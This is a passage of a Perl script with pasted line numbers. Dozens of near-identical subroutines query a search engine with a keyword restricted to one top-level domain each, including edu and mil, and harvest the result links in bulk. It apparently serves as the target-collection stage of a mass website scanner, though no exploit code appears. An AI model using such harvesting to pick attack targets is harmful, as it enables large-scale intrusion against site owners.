  2900. my $key = $_[0];
  2901. for (my $i=0; $i<=1000; $i+=100){
  2902. my $search = ($jack3.uri_escape($key)."%2Bsite%3Akr%26num%3D100%26start%3D".$i);
  2903. my $res = &search_engine_query($search);
  2904. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2905. my $link = $1;
  2906. if ($link !~ /google/){
  2907. my @grep = &links($link);
  2908. push(@list,@grep);
  2909. }
  2910. }
  2911. }
  2912. return @list;
  2913. }
  2914.  
  2915. sub at() {
  2916. my @list;
  2917. my $key = $_[0];
  2918. for (my $i=0; $i<=1000; $i+=100){
  2919. my $search = ($jack4.uri_escape($key)."%2Bsite%3Aat%26num%3D100%26start%3D".$i);
  2920. my $res = &search_engine_query($search);
  2921. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2922. my $link = $1;
  2923. if ($link !~ /google/){
  2924. my @grep = &links($link);
  2925. push(@list,@grep);
  2926. }
  2927. }
  2928. }
  2929. return @list;
  2930. }
  2931.  
  2932. sub in() {
  2933. my @list;
  2934. my $key = $_[0];
  2935. for (my $i=0; $i<=1000; $i+=100){
  2936. my $search = ($jack5.uri_escape($key)."%2Bsite%3Ain%26num%3D100%26start%3D".$i);
  2937. my $res = &search_engine_query($search);
  2938. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2939. my $link = $1;
  2940. if ($link !~ /google/){
  2941. my @grep = &links($link);
  2942. push(@list,@grep);
  2943. }
  2944. }
  2945. }
  2946. return @list;
  2947. }
  2948.  
  2949. sub my() {
  2950. my @list;
  2951. my $key = $_[0];
  2952. for (my $i=0; $i<=1000; $i+=100){
  2953. my $search = ($jack6.uri_escape($key)."%2Bsite%3Amy%26num%3D100%26start%3D".$i);
  2954. my $res = &search_engine_query($search);
  2955. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2956. my $link = $1;
  2957. if ($link !~ /google/){
  2958. my @grep = &links($link);
  2959. push(@list,@grep);
  2960. }
  2961. }
  2962. }
  2963. return @list;
  2964. }
  2965.  
  2966. sub sk() {
  2967. my @list;
  2968. my $key = $_[0];
  2969. for (my $i=0; $i<=1000; $i+=100){
  2970. my $search = ($jack7.uri_escape($key)."%2Bsite%3Ask%26num%3D100%26start%3D".$i);
  2971. my $res = &search_engine_query($search);
  2972. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2973. my $link = $1;
  2974. if ($link !~ /google/){
  2975. my @grep = &links($link);
  2976. push(@list,@grep);
  2977. }
  2978. }
  2979. }
  2980. return @list;
  2981. }
  2982.  
  2983. sub za() {
  2984. my @list;
  2985. my $key = $_[0];
  2986. for (my $i=0; $i<=1000; $i+=100){
  2987. my $search = ($jack1.uri_escape($key)."%2Bsite%3Aza%26num%3D100%26start%3D".$i);
  2988. my $res = &search_engine_query($search);
  2989. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2990. my $link = $1;
  2991. if ($link !~ /google/){
  2992. my @grep = &links($link);
  2993. push(@list,@grep);
  2994. }
  2995. }
  2996. }
  2997. return @list;
  2998. }
  2999.  
  3000. sub su() {
  3001. my @list;
  3002. my $key = $_[0];
  3003. for (my $i=0; $i<=1000; $i+=100){
  3004. my $search = ($jack2.uri_escape($key)."%2Bsite%3Asu%26num%3D100%26start%3D".$i);
  3005. my $res = &search_engine_query($search);
  3006. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3007. my $link = $1;
  3008. if ($link !~ /google/){
  3009. my @grep = &links($link);
  3010. push(@list,@grep);
  3011. }
  3012. }
  3013. }
  3014. return @list;
  3015. }
  3016.  
  3017. sub tr() {
  3018. my @list;
  3019. my $key = $_[0];
  3020. for (my $i=0; $i<=1000; $i+=100){
  3021. my $search = ($jack3.uri_escape($key)."%2Bsite%3Atr%26num%3D100%26start%3D".$i);
  3022. my $res = &search_engine_query($search);
  3023. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3024. my $link = $1;
  3025. if ($link !~ /google/){
  3026. my @grep = &links($link);
  3027. push(@list,@grep);
  3028. }
  3029. }
  3030. }
  3031. return @list;
  3032. }
  3033.  
  3034. sub edu() {
  3035. my @list;
  3036. my $key = $_[0];
  3037. for (my $i=0; $i<=1000; $i+=100){
  3038. my $search = ($jack4.uri_escape($key)."%2Bsite%3Aedu%26num%3D100%26start%3D".$i);
  3039. my $res = &search_engine_query($search);
  3040. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3041. my $link = $1;
  3042. if ($link !~ /google/){
  3043. my @grep = &links($link);
  3044. push(@list,@grep);
  3045. }
  3046. }
  3047. }
  3048. return @list;
  3049. }
  3050.  
  3051. sub no() {
  3052. my @list;
  3053. my $key = $_[0];
  3054. for (my $i=0; $i<=1000; $i+=100){
  3055. my $search = ($jack5.uri_escape($key)."%2Bsite%3Ano%26num%3D100%26start%3D".$i);
  3056. my $res = &search_engine_query($search);
  3057. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3058. my $link = $1;
  3059. if ($link !~ /google/){
  3060. my @grep = &links($link);
  3061. push(@list,@grep);
  3062. }
  3063. }
  3064. }
  3065. return @list;
  3066. }
  3067.  
  3068. sub vn() {
  3069. my @list;
  3070. my $key = $_[0];
  3071. for (my $i=0; $i<=1000; $i+=100){
  3072. my $search = ($jack6.uri_escape($key)."%2Bsite%3Avn%26num%3D100%26start%3D".$i);
  3073. my $res = &search_engine_query($search);
  3074. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3075. my $link = $1;
  3076. if ($link !~ /google/){
  3077. my @grep = &links($link);
  3078. push(@list,@grep);
  3079. }
  3080. }
  3081. }
  3082. return @list;
  3083. }
  3084.  
  3085. sub mobi() {
  3086. my @list;
  3087. my $key = $_[0];
  3088. for (my $i=0; $i<=1000; $i+=100){
  3089. my $search = ($jack5.uri_escape($key)."%2Bsite%3Amobi%26num%3D100%26start%3D".$i);
  3090. my $res = &search_engine_query($search);
  3091. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3092. my $link = $1;
  3093. if ($link !~ /google/){
  3094. my @grep = &links($link);
  3095. push(@list,@grep);
  3096. }
  3097. }
  3098. }
  3099. return @list;
  3100. }
  3101.  
  3102. sub pl() {
  3103. my @list;
  3104. my $key = $_[0];
  3105. for (my $i=0; $i<=1000; $i+=100){
  3106. my $search = ($jack6.uri_escape($key)."%2Bsite%3Apl%26num%3D100%26start%3D".$i);
  3107. my $res = &search_engine_query($search);
  3108. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3109. my $link = $1;
  3110. if ($link !~ /google/){
  3111. my @grep = &links($link);
  3112. push(@list,@grep);
  3113. }
  3114. }
  3115. }
  3116. return @list;
  3117. }
  3118.  
  3119. sub id() {
  3120. my @list;
  3121. my $key = $_[0];
  3122. for (my $i=0; $i<=1000; $i+=100){
  3123. my $search = ($jack1.uri_escape($key)."%2Bsite%3Aid%26num%3D100%26start%3D".$i);
  3124. my $res = &search_engine_query($search);
  3125. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3126. my $link = $1;
  3127. if ($link !~ /google/){
  3128. my @grep = &links($link);
  3129. push(@list,@grep);
  3130. }
  3131. }
  3132. }
  3133. return @list;
  3134. }
  3135.  
  3136. sub th() {
  3137. my @list;
  3138. my $key = $_[0];
  3139. for (my $i=0; $i<=1000; $i+=100){
  3140. my $search = ($jack2.uri_escape($key)."%2Bsite%3Ath%26num%3D100%26start%3D".$i);
  3141. my $res = &search_engine_query($search);
  3142. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3143. my $link = $1;
  3144. if ($link !~ /google/){
  3145. my @grep = &links($link);
  3146. push(@list,@grep);
  3147. }
  3148. }
  3149. }
  3150. return @list;
  3151. }
  3152.  
  3153. sub si() {
  3154. my @list;
  3155. my $key = $_[0];
  3156. for (my $i=0; $i<=1000; $i+=100){
  3157. my $search = ($jack3.uri_escape($key)."%2Bsite%3Asi%26num%3D100%26start%3D".$i);
  3158. my $res = &search_engine_query($search);
  3159. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3160. my $link = $1;
  3161. if ($link !~ /google/){
  3162. my @grep = &links($link);
  3163. push(@list,@grep);
  3164. }
  3165. }
  3166. }
  3167. return @list;
  3168. }
  3169.  
  3170. sub asia() {
  3171. my @list;
  3172. my $key = $_[0];
  3173. for (my $i=0; $i<=1000; $i+=100){
  3174. my $search = ($jack4.uri_escape($key)."%2Bsite%3Aasia%26num%3D100%26start%3D".$i);
  3175. my $res = &search_engine_query($search);
  3176. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3177. my $link = $1;
  3178. if ($link !~ /google/){
  3179. my @grep = &links($link);
  3180. push(@list,@grep);
  3181. }
  3182. }
  3183. }
  3184. return @list;
  3185. }
  3186.  
  3187. sub eu() {
  3188. my @list;
  3189. my $key = $_[0];
  3190. for (my $i=0; $i<=1000; $i+=100){
  3191. my $search = ($jack5.uri_escape($key)."%2Bsite%3Aeu%26num%3D100%26start%3D".$i);
  3192. my $res = &search_engine_query($search);
  3193. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3194. my $link = $1;
  3195. if ($link !~ /google/){
  3196. my @grep = &links($link);
  3197. push(@list,@grep);
  3198. }
  3199. }
  3200. }
  3201. return @list;
  3202. }
  3203.  
  3204. sub be() {
  3205. my @list;
  3206. my $key = $_[0];
  3207. for (my $i=0; $i<=1000; $i+=100){
  3208. my $search = ($jack6.uri_escape($key)."%2Bsite%3Abe%26num%3D100%26start%3D".$i);
  3209. my $res = &search_engine_query($search);
  3210. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3211. my $link = $1;
  3212. if ($link !~ /google/){
  3213. my @grep = &links($link);
  3214. push(@list,@grep);
  3215. }
  3216. }
  3217. }
  3218. return @list;
  3219. }
  3220.  
  3221. sub hu() {
  3222. my @list;
  3223. my $key = $_[0];
  3224. for (my $i=0; $i<=1000; $i+=100){
  3225. my $search = ($jack7.uri_escape($key)."%2Bsite%3Ahu%26num%3D100%26start%3D".$i);
  3226. my $res = &search_engine_query($search);
  3227. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3228. my $link = $1;
  3229. if ($link !~ /google/){
  3230. my @grep = &links($link);
  3231. push(@list,@grep);
  3232. }
  3233. }
  3234. }
  3235. return @list;
  3236. }
  3237.  
  3238. sub lv() {
  3239. my @list;
  3240. my $key = $_[0];
  3241. for (my $i=0; $i<=1000; $i+=100){
  3242. my $search = ($jack1.uri_escape($key)."%2Bsite%3Alv%26num%3D100%26start%3D".$i);
  3243. my $res = &search_engine_query($search);
  3244. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3245. my $link = $1;
  3246. if ($link !~ /google/){
  3247. my @grep = &links($link);
  3248. push(@list,@grep);
  3249. }
  3250. }
  3251. }
  3252. return @list;
  3253. }
  3254.  
  3255. sub coop() {
  3256. my @list;
  3257. my $key = $_[0];
  3258. for (my $i=0; $i<=1000; $i+=100){
  3259. my $search = ($jack2.uri_escape($key)."%2Bsite%3Acoop%26num%3D100%26start%3D".$i);
  3260. my $res = &search_engine_query($search);
  3261. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3262. my $link = $1;
  3263. if ($link !~ /google/){
  3264. my @grep = &links($link);
  3265. push(@list,@grep);
  3266. }
  3267. }
  3268. }
  3269. return @list;
  3270. }
  3271.  
  3272. sub ua() {
  3273. my @list;
  3274. my $key = $_[0];
  3275. for (my $i=0; $i<=1000; $i+=100){
  3276. my $search = ($jack3.uri_escape($key)."%2Bsite%3Aua%26num%3D100%26start%3D".$i);
  3277. my $res = &search_engine_query($search);
  3278. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3279. my $link = $1;
  3280. if ($link !~ /google/){
  3281. my @grep = &links($link);
  3282. push(@list,@grep);
  3283. }
  3284. }
  3285. }
  3286. return @list;
  3287. }
  3288.  
  3289. sub tv() {
  3290. my @list;
  3291. my $key = $_[0];
  3292. for (my $i=0; $i<=1000; $i+=100){
  3293. my $search = ($jack4.uri_escape($key)."%2Bsite%3Atv%26num%3D100%26start%3D".$i);
  3294. my $res = &search_engine_query($search);
  3295. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3296. my $link = $1;
  3297. if ($link !~ /google/){
  3298. my @grep = &links($link);
  3299. push(@list,@grep);
  3300. }
  3301. }
  3302. }
  3303. return @list;
  3304. }
  3305.  
  3306. sub ie() {
  3307. my @list;
  3308. my $key = $_[0];
  3309. for (my $i=0; $i<=1000; $i+=100){
  3310. my $search = ($jack5.uri_escape($key)."%2Bsite%3Aie%26num%3D100%26start%3D".$i);
  3311. my $res = &search_engine_query($search);
  3312. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3313. my $link = $1;
  3314. if ($link !~ /google/){
  3315. my @grep = &links($link);
  3316. push(@list,@grep);
  3317. }
  3318. }
  3319. }
  3320. return @list;
  3321. }
  3322.  
  3323. sub co() {
  3324. my @list;
  3325. my $key = $_[0];
  3326. for (my $i=0; $i<=1000; $i+=100){
  3327. my $search = ($jack6.uri_escape($key)."%2Bsite%3Aco%26num%3D100%26start%3D".$i);
  3328. my $res = &search_engine_query($search);
  3329. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3330. my $link = $1;
  3331. if ($link !~ /google/){
  3332. my @grep = &links($link);
  3333. push(@list,@grep);
  3334. }
  3335. }
  3336. }
  3337. return @list;
  3338. }
  3339.  
  3340. sub ae() {
  3341. my @list;
  3342. my $key = $_[0];
  3343. for (my $i=0; $i<=1000; $i+=100){
  3344. my $search = ($jack7.uri_escape($key)."%2Bsite%3Aae%26num%3D100%26start%3D".$i);
  3345. my $res = &search_engine_query($search);
  3346. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3347. my $link = $1;
  3348. if ($link !~ /google/){
  3349. my @grep = &links($link);
  3350. push(@list,@grep);
  3351. }
  3352. }
  3353. }
  3354. return @list;
  3355. }
  3356.  
  3357. sub pro() {
  3358. my @list;
  3359. my $key = $_[0];
  3360. for (my $i=0; $i<=1000; $i+=100){
  3361. my $search = ($jack1.uri_escape($key)."%2Bsite%3Apro%26num%3D100%26start%3D".$i);
  3362. my $res = &search_engine_query($search);
  3363. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3364. my $link = $1;
  3365. if ($link !~ /google/){
  3366. my @grep = &links($link);
  3367. push(@list,@grep);
  3368. }
  3369. }
  3370. }
  3371. return @list;
  3372. }
  3373.  
  3374. sub name() {
  3375. my @list;
  3376. my $key = $_[0];
  3377. for (my $i=0; $i<=1000; $i+=100){
  3378. my $search = ($jack1.uri_escape($key)."%2Bsite%3Aname%26num%3D100%26start%3D".$i);
  3379. my $res = &search_engine_query($search);
  3380. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3381. my $link = $1;
  3382. if ($link !~ /google/){
  3383. my @grep = &links($link);
  3384. push(@list,@grep);
  3385. }
  3386. }
  3387. }
  3388. return @list;
  3389. }
  3390.  
  3391. sub org() {
  3392. my @list;
  3393. my $key = $_[0];
  3394. for (my $i=0; $i<=1000; $i+=100){
  3395. my $search = ($jack2.uri_escape($key)."%2Bsite%3Aorg%26num%3D100%26start%3D".$i);
  3396. my $res = &search_engine_query($search);
  3397. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3398. my $link = $1;
  3399. if ($link !~ /google/){
  3400. my @grep = &links($link);
  3401. push(@list,@grep);
  3402. }
  3403. }
  3404. }
  3405. return @list;
  3406. }
  3407.  
  3408. sub mn() {
  3409. my @list;
  3410. my $key = $_[0];
  3411. for (my $i=0; $i<=1000; $i+=100){
  3412. my $search = ($jack3.uri_escape($key)."%2Bsite%3Amn%26num%3D100%26start%3D".$i);
  3413. my $res = &search_engine_query($search);
  3414. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3415. my $link = $1;
  3416. if ($link !~ /google/){
  3417. my @grep = &links($link);
  3418. push(@list,@grep);
  3419. }
  3420. }
  3421. }
  3422. return @list;
  3423. }
  3424.  
  3425. sub bg() {
  3426. my @list;
  3427. my $key = $_[0];
  3428. for (my $i=0; $i<=1000; $i+=100){
  3429. my $search = ($jack4.uri_escape($key)."%2Bsite%3Abg%26num%3D100%26start%3D".$i);
  3430. my $res = &search_engine_query($search);
  3431. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3432. my $link = $1;
  3433. if ($link !~ /google/){
  3434. my @grep = &links($link);
  3435. push(@list,@grep);
  3436. }
  3437. }
  3438. }
  3439. return @list;
  3440. }
  3441.  
  3442. sub nz() {
  3443. my @list;
  3444. my $key = $_[0];
  3445. for (my $i=0; $i<=1000; $i+=100){
  3446. my $search = ($jack5.uri_escape($key)."%2Bsite%3Anz%26num%3D100%26start%3D".$i);
  3447. my $res = &search_engine_query($search);
  3448. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3449. my $link = $1;
  3450. if ($link !~ /google/){
  3451. my @grep = &links($link);
  3452. push(@list,@grep);
  3453. }
  3454. }
  3455. }
  3456. return @list;
  3457. }
  3458.  
  3459. sub ee() {
  3460. my @list;
  3461. my $key = $_[0];
  3462. for (my $i=0; $i<=1000; $i+=100){
  3463. my $search = ($jack6.uri_escape($key)."%2Bsite%3Aee%26num%3D100%26start%3D".$i);
  3464. my $res = &search_engine_query($search);
  3465. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3466. my $link = $1;
  3467. if ($link !~ /google/){
  3468. my @grep = &links($link);
  3469. push(@list,@grep);
  3470. }
  3471. }
  3472. }
  3473. return @list;
  3474. }
  3475.  
  3476. sub gr() {
  3477. my @list;
  3478. my $key = $_[0];
  3479. for (my $i=0; $i<=1000; $i+=100){
  3480. my $search = ($jack7.uri_escape($key)."%2Bsite%3Agr%26num%3D100%26start%3D".$i);
  3481. my $res = &search_engine_query($search);
  3482. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3483. my $link = $1;
  3484. if ($link !~ /google/){
  3485. my @grep = &links($link);
  3486. push(@list,@grep);
  3487. }
  3488. }
  3489. }
  3490. return @list;
  3491. }
  3492.  
  3493. sub pt() {
  3494. my @list;
  3495. my $key = $_[0];
  3496. for (my $i=0; $i<=1000; $i+=100){
  3497. my $search = ($jack1.uri_escape($key)."%2Bsite%3Apt%26num%3D100%26start%3D".$i);
  3498. my $res = &search_engine_query($search);
  3499. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3500. my $link = $1;
  3501. if ($link !~ /google/){
  3502. my @grep = &links($link);
  3503. push(@list,@grep);
  3504. }
  3505. }
  3506. }
  3507. return @list;
  3508. }
  3509.  
  3510. sub tn() {
  3511. my @list;
  3512. my $key = $_[0];
  3513. for (my $i=0; $i<=1000; $i+=100){
  3514. my $search = ($jack2.uri_escape($key)."%2Bsite%3Atn%26num%3D100%26start%3D".$i);
  3515. my $res = &search_engine_query($search);
  3516. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3517. my $link = $1;
  3518. if ($link !~ /google/){
  3519. my @grep = &links($link);
  3520. push(@list,@grep);
  3521. }
  3522. }
  3523. }
  3524. return @list;
  3525. }
  3526.  
  3527. sub ke() {
  3528. my @list;
  3529. my $key = $_[0];
  3530. for (my $i=0; $i<=1000; $i+=100){
  3531. my $search = ($jack3.uri_escape($key)."%2Bsite%3Ake%26num%3D100%26start%3D".$i);
  3532. my $res = &search_engine_query($search);
  3533. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3534. my $link = $1;
  3535. if ($link !~ /google/){
  3536. my @grep = &links($link);
  3537. push(@list,@grep);
  3538. }
  3539. }
  3540. }
  3541. return @list;
  3542. }
  3543.  
  3544. sub fi() {
  3545. my @list;
  3546. my $key = $_[0];
  3547. for (my $i=0; $i<=1000; $i+=100){
  3548. my $search = ($jack4.uri_escape($key)."%2Bsite%3Afi%26num%3D100%26start%3D".$i);
  3549. my $res = &search_engine_query($search);
  3550. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3551. my $link = $1;
  3552. if ($link !~ /google/){
  3553. my @grep = &links($link);
  3554. push(@list,@grep);
  3555. }
  3556. }
  3557. }
  3558. return @list;
  3559. }
  3560.  
  3561. sub hr() {
  3562. my @list;
  3563. my $key = $_[0];
  3564. for (my $i=0; $i<=1000; $i+=100){
  3565. my $search = ($jack5.uri_escape($key)."%2Bsite%3Ahr%26num%3D100%26start%3D".$i);
  3566. my $res = &search_engine_query($search);
  3567. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3568. my $link = $1;
  3569. if ($link !~ /google/){
  3570. my @grep = &links($link);
  3571. push(@list,@grep);
  3572. }
  3573. }
  3574. }
  3575. return @list;
  3576. }
  3577.  
  3578. sub ch() {
  3579. my @list;
  3580. my $key = $_[0];
  3581. for (my $i=0; $i<=1000; $i+=100){
  3582. my $search = ($jack6.uri_escape($key)."%2Bsite%3Ach%26num%3D100%26start%3D".$i);
  3583. my $res = &search_engine_query($search);
  3584. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3585. my $link = $1;
  3586. if ($link !~ /google/){
  3587. my @grep = &links($link);
  3588. push(@list,@grep);
  3589. }
  3590. }
  3591. }
  3592. return @list;
  3593. }
  3594.  
  3595. sub il() {
  3596. my @list;
  3597. my $key = $_[0];
  3598. for (my $i=0; $i<=1000; $i+=100){
  3599. my $search = ($jack2.uri_escape($key)."%2Bsite%3Ail%26num%3D100%26start%3D".$i);
  3600. my $res = &search_engine_query($search);
  3601. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3602. my $link = $1;
  3603. if ($link !~ /google/){
  3604. my @grep = &links($link);
  3605. push(@list,@grep);
  3606. }
  3607. }
  3608. }
  3609. return @list;
  3610. }
  3611.  
  3612. sub pe() {
  3613. my @list;
  3614. my $key = $_[0];
  3615. for (my $i=0; $i<=1000; $i+=100){
  3616. my $search = ($jack3.uri_escape($key)."%2Bsite%3Ape%26num%3D100%26start%3D".$i);
  3617. my $res = &search_engine_query($search);
  3618. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3619. my $link = $1;
  3620. if ($link !~ /google/){
  3621. my @grep = &links($link);
  3622. push(@list,@grep);
  3623. }
  3624. }
  3625. }
  3626. return @list;
  3627. }
  3628.  
  3629. sub md() {
  3630. my @list;
  3631. my $key = $_[0];
  3632. for (my $i=0; $i<=1000; $i+=100){
  3633. my $search = ($jack1.uri_escape($key)."%2Bsite%3Amd%26num%3D100%26start%3D".$i);
  3634. my $res = &search_engine_query($search);
  3635. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3636. my $link = $1;
  3637. if ($link !~ /google/){
  3638. my @grep = &links($link);
  3639. push(@list,@grep);
  3640. }
  3641. }
  3642. }
  3643. return @list;
  3644. }
  3645.  
  3646. sub cc() {
  3647. my @list;
  3648. my $key = $_[0];
  3649. for (my $i=0; $i<=1000; $i+=100){
  3650. my $search = ($jack2.uri_escape($key)."%2Bsite%3Acc%26num%3D100%26start%3D".$i);
  3651. my $res = &search_engine_query($search);
  3652. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3653. my $link = $1;
  3654. if ($link !~ /google/){
  3655. my @grep = &links($link);
  3656. push(@list,@grep);
  3657. }
  3658. }
  3659. }
  3660. return @list;
  3661. }
  3662.  
  3663. sub tel() {
  3664. my @list;
  3665. my $key = $_[0];
  3666. for (my $i=0; $i<=1000; $i+=100){
  3667. my $search = ($jack3.uri_escape($key)."%2Bsite%3Atel%26num%3D100%26start%3D".$i);
  3668. my $res = &search_engine_query($search);
  3669. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3670. my $link = $1;
  3671. if ($link !~ /google/){
  3672. my @grep = &links($link);
  3673. push(@list,@grep);
  3674. }
  3675. }
  3676. }
  3677. return @list;
  3678. }
  3679.  
  3680. sub im() {
  3681. my @list;
  3682. my $key = $_[0];
  3683. for (my $i=0; $i<=1000; $i+=100){
  3684. my $search = ($jack4.uri_escape($key)."%2Bsite%3Aim%26num%3D100%26start%3D".$i);
  3685. my $res = &search_engine_query($search);
  3686. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3687. my $link = $1;
  3688. if ($link !~ /google/){
  3689. my @grep = &links($link);
  3690. push(@list,@grep);
  3691. }
  3692. }
  3693. }
  3694. return @list;
  3695. }
  3696.  
  3697. sub kz() {
  3698. my @list;
  3699. my $key = $_[0];
  3700. for (my $i=0; $i<=1000; $i+=100){
  3701. my $search = ($jack5.uri_escape($key)."%2Bsite%3Akz%26num%3D100%26start%3D".$i);
  3702. my $res = &search_engine_query($search);
  3703. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3704. my $link = $1;
  3705. if ($link !~ /google/){
  3706. my @grep = &links($link);
  3707. push(@list,@grep);
  3708. }
  3709. }
  3710. }
  3711. return @list;
  3712. }
  3713.  
  3714. sub uy() {
  3715. my @list;
  3716. my $key = $_[0];
  3717. for (my $i=0; $i<=1000; $i+=100){
  3718. my $search = ($jack6.uri_escape($key)."%2Bsite%3Auy%26num%3D100%26start%3D".$i);
  3719. my $res = &search_engine_query($search);
  3720. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3721. my $link = $1;
  3722. if ($link !~ /google/){
  3723. my @grep = &links($link);
  3724. push(@list,@grep);
  3725. }
  3726. }
  3727. }
  3728. return @list;
  3729. }
  3730.  
  3731. sub qa() {
  3732. my @list;
  3733. my $key = $_[0];
  3734. for (my $i=0; $i<=1000; $i+=100){
  3735. my $search = ($jack7.uri_escape($key)."%2Bsite%3Aqa%26num%3D100%26start%3D".$i);
  3736. my $res = &search_engine_query($search);
  3737. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3738. my $link = $1;
  3739. if ($link !~ /google/){
  3740. my @grep = &links($link);
  3741. push(@list,@grep);
  3742. }
  3743. }
  3744. }
  3745. return @list;
  3746. }
  3747.  
  3748. sub mil() {
  3749. my @list;
  3750. my $key = $_[0];
  3751. for (my $i=0; $i<=1000; $i+=100){
  3752. my $search = ($jack1.uri_escape($key)."%2Bsite%3Amil%26num%3D100%26start%3D".$i);
  3753. my $res = &search_engine_query($search);
  3754. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3755. my $link = $1;
  3756. if ($link !~ /google/){
  3757. my @grep = &links($link);
  3758. push(@list,@grep);
  3759. }
  3760. }
  3761. }
  3762. return @list;
  3763. }
  3764.  
  3765. sub pk() {
  3766. my @list;
  3767. my $key = $_[0];
  3768. for (my $i=0; $i<=1000; $i+=100){
  3769. my $search = ($jack2.uri_escape($key)."%2Bsite%3Apk%26num%3D100%26start%3D".$i);
  3770. my $res = &search_engine_query($search);
  3771. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3772. my $link = $1;
  3773. if ($link !~ /google/){
  3774. my @grep = &links($link);
  3775. push(@list,@grep);
  3776. }
  3777. }
  3778. }
  3779. return @list;
  3780. }
  3781.  
  3782. sub is() {
  3783. my @list;
  3784. my $key = $_[0];
  3785. for (my $i=0; $i<=1000; $i+=100){
  3786. my $search = ($jack3.uri_escape($key)."%2Bsite%3Ais%26num%3D100%26start%3D".$i);
  3787. my $res = &search_engine_query($search);
  3788. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3789. my $link = $1;
  3790. if ($link !~ /google/){
  3791. my @grep = &links($link);
  3792. push(@list,@grep);
  3793. }
  3794. }
  3795. }
  3796. return @list;
  3797. }
  3798.  
  3799. sub uz() {
  3800. my @list;
  3801. my $key = $_[0];
  3802. for (my $i=0; $i<=1000; $i+=100){
  3803. my $search = ($jack4.uri_escape($key)."%2Bsite%3Auz%26num%3D100%26start%3D".$i);
  3804. my $res = &search_engine_query($search);
  3805. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3806. my $link = $1;
  3807. if ($link !~ /google/){
  3808. my @grep = &links($link);
  3809. push(@list,@grep);
  3810. }
  3811. }
  3812. }
  3813. return @list;
  3814. }
  3815.  
  3816. sub ng() {
  3817. my @list;
  3818. my $key = $_[0];
  3819. for (my $i=0; $i<=1000; $i+=100){
  3820. my $search = ($jack5.uri_escape($key)."%2Bsite%3Ang%26num%3D100%26start%3D".$i);
  3821. my $res = &search_engine_query($search);
  3822. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3823. my $link = $1;
  3824. if ($link !~ /google/){
  3825. my @grep = &links($link);
  3826. push(@list,@grep);
  3827. }
  3828. }
  3829. }
  3830. return @list;
  3831. }
  3832.  
  3833. sub travel() {
  3834. my @list;
  3835. my $key = $_[0];
  3836. for (my $i=0; $i<=1000; $i+=100){
